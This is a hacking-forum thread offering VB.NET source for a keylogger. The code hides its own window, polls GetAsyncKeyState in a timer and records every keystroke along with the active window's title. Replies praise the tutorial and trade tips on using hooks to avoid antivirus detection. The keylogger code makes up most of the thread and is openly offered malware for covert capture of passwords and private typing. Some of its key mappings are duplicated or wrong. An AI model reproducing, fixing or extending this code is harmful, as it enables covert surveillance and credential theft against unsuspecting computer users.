Home Upgrade Search Memberlist Extras Hacker Tools Award Goals Help Wiki Contact

.NET 

[VB .NET] Keylogger GetAsyncKey

Hello this is just little example for your keylogger, GetAsyncKey.. Its from my old project so dont blame me if it got errors :P tell me i'll fix them :D

Under the Public Class Form1 add:

Code
Public Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer
Dim result As Integer
Private Declare Function GetActiveWindow Lib "user32" () As Long
    Private Declare Function GetWindowText Lib "user32" Alias "GetWindowTextA" (ByVal hwnd As Long, ByVal lpString As String, ByVal cch As Long) As Long
    Private Declare Function GetForegroundWindow Lib "user32.dll" () As IntPtr
    Private Declare Function GetWindowThreadProcessId Lib "user32.dll" (ByVal hwnd As IntPtr, ByRef lpdwProcessID As Integer) As Integer
    Private Declare Function GetWindowText Lib "user32.dll" Alias "GetWindowTextA" (ByVal hWnd As IntPtr, ByVal WinTitle As String, ByVal MaxLength As Integer) As Integer
    Private Declare Function GetWindowTextLength Lib "user32.dll" Alias "GetWindowTextLengthA" (ByVal hwnd As Long) As Integer
    Private Declare Sub keybd_event Lib "user32" (ByVal bVk As Byte, ByVal bScan As Byte, ByVal dwFlags As Integer, ByVal dwExtraInfo As Integer)
    Private Const VK_SNAPSHOT As Short = &H2CS


Add Timer1 and write code:

Code
Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick
        Me.Hide()
        Dim hWnd As IntPtr = GetForegroundWindow()

        If hWnd = IntPtr.Zero Then Exit Sub

        Dim TitleLength As Integer

        TitleLength = GetWindowTextLength(hWnd)

        Dim WindowTitle As String = StrDup(TitleLength + 1, "*")

        GetWindowText(hWnd, WindowTitle, TitleLength + 1)

        Dim pid As Integer = 0

        GetWindowThreadProcessId(hWnd, pid)

        If pid = 0 Then Exit Sub

        Dim proc As Process = Process.GetProcessById(pid)

        If proc Is Nothing Then Exit Sub

        Dim txtProcessID = pid.ToString

        Dim txtProcessName = proc.ProcessName

        Dim txtProcessTitle = proc.MainWindowTitle

        Dim txtCurrentWindowTitle = WindowTitle

        Dim txtTitleLength = TitleLength.ToString

        For i = 1 To 130
            result = 0
            result = GetAsyncKeyState(i)
            If result = -32767 Then
                If (GetAsyncKeyState(107)) Then
                    TextBox1.Text = TextBox1.Text + "+"

                ElseIf (GetAsyncKeyState(59)) Then
                    TextBox1.Text = TextBox1.Text + ";"

                ElseIf (GetAsyncKeyState(95)) Then
                    TextBox1.Text = TextBox1.Text + "_"

                ElseIf (GetAsyncKeyState(95)) Then
                    TextBox1.Text = TextBox1.Text + "_"

                ElseIf (GetAsyncKeyState(59)) Then
                    TextBox1.Text = TextBox1.Text + ";"

                ElseIf (GetAsyncKeyState(58)) Then
                    TextBox1.Text = TextBox1.Text + ":"

                ElseIf (GetAsyncKeyState(47)) Then
                    TextBox1.Text = TextBox1.Text + "/"

                ElseIf (GetAsyncKeyState(63)) Then
                    TextBox1.Text = TextBox1.Text + "?"

                ElseIf (GetAsyncKeyState(64)) Then
                    TextBox1.Text = TextBox1.Text + "@"

                ElseIf (GetAsyncKeyState(126)) Then
                    TextBox1.Text = TextBox1.Text + "~"

                ElseIf (GetAsyncKeyState(35)) Then
                    TextBox1.Text = TextBox1.Text + "#"

                ElseIf (GetAsyncKeyState(44)) Then
                    TextBox1.Text = TextBox1.Text + ","

                ElseIf (GetAsyncKeyState(60)) Then
                    TextBox1.Text = TextBox1.Text + "<"

                ElseIf (GetAsyncKeyState(62)) Then
                    TextBox1.Text = TextBox1.Text + ">"

                ElseIf (GetAsyncKeyState(124)) Then
                    TextBox1.Text = TextBox1.Text + "|"

                ElseIf (GetAsyncKeyState(48)) Then
                    TextBox1.Text = TextBox1.Text + "0"

                ElseIf (GetAsyncKeyState(49)) Then
                    TextBox1.Text = TextBox1.Text + "1"

                ElseIf (GetAsyncKeyState(50)) Then
                    TextBox1.Text = TextBox1.Text + "2"

                ElseIf (GetAsyncKeyState(51)) Then
                    TextBox1.Text = TextBox1.Text + "3"

                ElseIf (GetAsyncKeyState(52)) Then
                    TextBox1.Text = TextBox1.Text + "4"

                ElseIf (GetAsyncKeyState(53)) Then
                    TextBox1.Text = TextBox1.Text + "5"

                ElseIf (GetAsyncKeyState(54)) Then
                    TextBox1.Text = TextBox1.Text + "6"

                ElseIf (GetAsyncKeyState(55)) Then
                    TextBox1.Text = TextBox1.Text + "7"

                ElseIf (GetAsyncKeyState(56)) Then
                    TextBox1.Text = TextBox1.Text + "8"

                ElseIf (GetAsyncKeyState(57)) Then
                    TextBox1.Text = TextBox1.Text + "9"

                ElseIf (GetAsyncKeyState(65)) Then
                    TextBox1.Text = TextBox1.Text + "a"

                ElseIf (GetAsyncKeyState(66)) Then
                    TextBox1.Text = TextBox1.Text + "b"

                ElseIf (GetAsyncKeyState(67)) Then
                    TextBox1.Text = TextBox1.Text + "c"

                ElseIf (GetAsyncKeyState(68)) Then
                    TextBox1.Text = TextBox1.Text + "d"

                ElseIf (GetAsyncKeyState(69)) Then
                    TextBox1.Text = TextBox1.Text + "e"

                ElseIf (GetAsyncKeyState(70)) Then
                    TextBox1.Text = TextBox1.Text + "f"

                ElseIf (GetAsyncKeyState(71)) Then
                    TextBox1.Text = TextBox1.Text + "g"

                ElseIf (GetAsyncKeyState(72)) Then
                    TextBox1.Text = TextBox1.Text + "h"

                ElseIf (GetAsyncKeyState(73)) Then
                    TextBox1.Text = TextBox1.Text + "i"

                ElseIf (GetAsyncKeyState(74)) Then
                    TextBox1.Text = TextBox1.Text + "j"

                ElseIf (GetAsyncKeyState(75)) Then
                    TextBox1.Text = TextBox1.Text + "k"

                ElseIf (GetAsyncKeyState(76)) Then
                    TextBox1.Text = TextBox1.Text + "l"

                ElseIf (GetAsyncKeyState(77)) Then
                    TextBox1.Text = TextBox1.Text + "m"

                ElseIf (GetAsyncKeyState(78)) Then
                    TextBox1.Text = TextBox1.Text + "n"

                ElseIf (GetAsyncKeyState(79)) Then
                    TextBox1.Text = TextBox1.Text + "o"

                ElseIf (GetAsyncKeyState(80)) Then
                    TextBox1.Text = TextBox1.Text + "p"

                ElseIf (GetAsyncKeyState(81)) Then
                    TextBox1.Text = TextBox1.Text + "q"

                ElseIf (GetAsyncKeyState(82)) Then
                    TextBox1.Text = TextBox1.Text + "r"

                ElseIf (GetAsyncKeyState(83)) Then
                    TextBox1.Text = TextBox1.Text + "s"

                ElseIf (GetAsyncKeyState(84)) Then
                    TextBox1.Text = TextBox1.Text + "t"

                ElseIf (GetAsyncKeyState(85)) Then
                    TextBox1.Text = TextBox1.Text + "u"

                ElseIf (GetAsyncKeyState(86)) Then
                    TextBox1.Text = TextBox1.Text + "v"

                ElseIf (GetAsyncKeyState(87)) Then
                    TextBox1.Text = TextBox1.Text + "w"

                ElseIf (GetAsyncKeyState(88)) Then
                    TextBox1.Text = TextBox1.Text + "x"

                ElseIf (GetAsyncKeyState(89)) Then
                    TextBox1.Text = TextBox1.Text + "y"

                ElseIf (GetAsyncKeyState(90)) Then
                    TextBox1.Text = TextBox1.Text + "z"

                ElseIf (GetAsyncKeyState(8)) Then
                    TextBox1.Text = TextBox1.Text + "[Back]"

                ElseIf (GetAsyncKeyState(27)) Then
                    TextBox1.Text = TextBox1.Text + "[Esc]"

                ElseIf (GetAsyncKeyState(35)) Then
                    TextBox1.Text = TextBox1.Text + "[End]"

                ElseIf (GetAsyncKeyState(33)) Then
                    TextBox1.Text = TextBox1.Text + "[PageUp]"

                ElseIf (GetAsyncKeyState(34)) Then
                    TextBox1.Text = TextBox1.Text + "[Pagedown]"

                ElseIf (GetAsyncKeyState(36)) Then
                    TextBox1.Text = TextBox1.Text + "[Home]"

                ElseIf (GetAsyncKeyState(37)) Then
                    TextBox1.Text = TextBox1.Text + "[Left]"

                ElseIf (GetAsyncKeyState(38)) Then
                    TextBox1.Text = TextBox1.Text + "[Up]"

                ElseIf (GetAsyncKeyState(39)) Then
                    TextBox1.Text = TextBox1.Text + "[Right]"

                ElseIf (GetAsyncKeyState(40)) Then
                    TextBox1.Text = TextBox1.Text + "[Down]"

                ElseIf (GetAsyncKeyState(45)) Then
                    TextBox1.Text = TextBox1.Text + "[Ins]"

                ElseIf (GetAsyncKeyState(46)) Then
                    TextBox1.Text = TextBox1.Text + "[Del]"

                ElseIf (GetAsyncKeyState(144)) Then
                    TextBox1.Text = TextBox1.Text + "[NumLock]"

                ElseIf (GetAsyncKeyState(112)) Then
                    TextBox1.Text = TextBox1.Text + "[F1]"

                ElseIf (GetAsyncKeyState(113)) Then
                    TextBox1.Text = TextBox1.Text + "[F2]"

                ElseIf (GetAsyncKeyState(114)) Then
                    TextBox1.Text = TextBox1.Text + "[F3]"

                ElseIf (GetAsyncKeyState(115)) Then
                    TextBox1.Text = TextBox1.Text + "[F4]"

                ElseIf (GetAsyncKeyState(116)) Then
                    TextBox1.Text = TextBox1.Text + "[F5]"

                ElseIf (GetAsyncKeyState(117)) Then
                    TextBox1.Text = TextBox1.Text + "[F6]"

                ElseIf (GetAsyncKeyState(118)) Then
                    TextBox1.Text = TextBox1.Text + "[F7]"

                ElseIf (GetAsyncKeyState(119)) Then
                    TextBox1.Text = TextBox1.Text + "[F8]"

                ElseIf (GetAsyncKeyState(120)) Then
                    TextBox1.Text = TextBox1.Text + "[F9]"

                ElseIf (GetAsyncKeyState(121)) Then
                    TextBox1.Text = TextBox1.Text + "[F10]"

                ElseIf (GetAsyncKeyState(122)) Then
                    TextBox1.Text = TextBox1.Text + "[F11]"

                ElseIf (GetAsyncKeyState(123)) Then
                    TextBox1.Text = TextBox1.Text + "[F12]"

                ElseIf (GetAsyncKeyState(16)) Then
                    TextBox1.Text = TextBox1.Text + "[Shift]"

                ElseIf (GetAsyncKeyState(96)) Then
                    TextBox1.Text = TextBox1.Text + "0"

                ElseIf (GetAsyncKeyState(97)) Then
                    TextBox1.Text = TextBox1.Text + "1"

                ElseIf (GetAsyncKeyState(98)) Then
                    TextBox1.Text = TextBox1.Text + "2"

                ElseIf (GetAsyncKeyState(99)) Then
                    TextBox1.Text = TextBox1.Text + "3"

                ElseIf (GetAsyncKeyState(100)) Then
                    TextBox1.Text = TextBox1.Text + "4"

                ElseIf (GetAsyncKeyState(101)) Then
                    TextBox1.Text = TextBox1.Text + "5"

                ElseIf (GetAsyncKeyState(102)) Then
                    TextBox1.Text = TextBox1.Text + "6"

                ElseIf (GetAsyncKeyState(103)) Then
                    TextBox1.Text = TextBox1.Text + "7"

                ElseIf (GetAsyncKeyState(104)) Then
                    TextBox1.Text = TextBox1.Text + "8"

                ElseIf (GetAsyncKeyState(105)) Then
                    TextBox1.Text = TextBox1.Text + "9"

                ElseIf (GetAsyncKeyState(106)) Then
                    TextBox1.Text = TextBox1.Text + "*"

                ElseIf (GetAsyncKeyState(108)) Then
                    TextBox1.Text = TextBox1.Text + "" & vbCrLf
                    TextBox1.Text = TextBox1.Text + "[" + txtProcessTitle + "]"
                ElseIf (GetAsyncKeyState(32)) Then
                    TextBox1.Text = TextBox1.Text + " "

                ElseIf (GetAsyncKeyState(109)) Then
                    TextBox1.Text = TextBox1.Text + "-"


                ElseIf (GetAsyncKeyState(110)) Then
                    TextBox1.Text = TextBox1.Text + "."

                ElseIf (GetAsyncKeyState(111)) Then
                    TextBox1.Text = TextBox1.Text + "/"

                ElseIf (GetAsyncKeyState(42)) Then
                    TextBox1.Text = TextBox1.Text + "[PrintScreen]"

                ElseIf (GetAsyncKeyState(43)) Then
                    TextBox1.Text = TextBox1.Text + "[Execute]"

                ElseIf (GetAsyncKeyState(43)) Then
                    TextBox1.Text = TextBox1.Text + "[Snapshot]"

                ElseIf (GetAsyncKeyState(41)) Then
                    TextBox1.Text = TextBox1.Text + "[Select]"

                ElseIf (GetAsyncKeyState(19)) Then
                    TextBox1.Text = TextBox1.Text + "[Pause]"

                ElseIf (GetAsyncKeyState(20)) Then
                    TextBox1.Text = TextBox1.Text + "[CapsLock]"

                ElseIf (GetAsyncKeyState(17)) Then
                    TextBox1.Text = TextBox1.Text + "[Ctrl]"

                ElseIf (GetAsyncKeyState(13)) Then
                    TextBox1.Text = TextBox1.Text + "" & vbCrLf
                    TextBox1.Text = TextBox1.Text + "[" + txtProcessTitle + "]"
                ElseIf (GetAsyncKeyState(9)) Then
                    TextBox1.Text = TextBox1.Text + "[Tab]"

                ElseIf (GetAsyncKeyState(12)) Then
                    TextBox1.Text = TextBox1.Text + "[Clear]"

                ElseIf (GetAsyncKeyState(3)) Then
                    TextBox1.Text = TextBox1.Text + "[Cancel]"

                End If
            End If
        Next i
    End Sub
nice tut soul collector
Thank's a lot for this tutorial
I like it !
I was shearching it !
Nooooo, use hooks, and loops lol. This will spike your CPU so high it will be like slapping Kaspersky on the dick and yelling "Hey, I'm a keylogger!"
(Nov 30, 2009 09:38 AM)Vorfin Wrote:  Nooooo, use hooks, and loops lol. This will spike your CPU so high it will be like slapping Kaspersky on the dick and yelling "Hey, I'm a keylogger!"

You took that quote from GeneralDee I think lol..

But yes, hooks are better.
[Image: l8foq.png]
Yup much better. :) But dunno .. wanted to share this too lol :P
Very Nice Tutorial Soul Collector
Very nice tutorial indeed.But still hooks are better.
But you can rarely find this code also thanks for sharing :)
(Nov 30, 2009 05:47 PM)BlueMelon Wrote:  You took that quote from GeneralDee I think lol..

But yes, hooks are better.

Yeah, well, I think it was in his sig at LC, not sure who said it first.
im looking for one that i can get all keys like !@#$%^&*() and when i use [email protected] it dont show omid[shift]2009[shift]yahoo.com and sometimes when i type fast it dont get key :((
Great Share Soul collector
Thanks Dude
really hope if theres a public hooks tutorial ;|
if u really need , then buy leet ^^
One more great tut by soul collector. U really help the noobs a lot.

Continue this good work in future too.
GET A HOOKER MAN. GET A HOOKER MAN. GET A HOOKER MAN. GET A HOOKER MAN. GET A HOOKER MAN.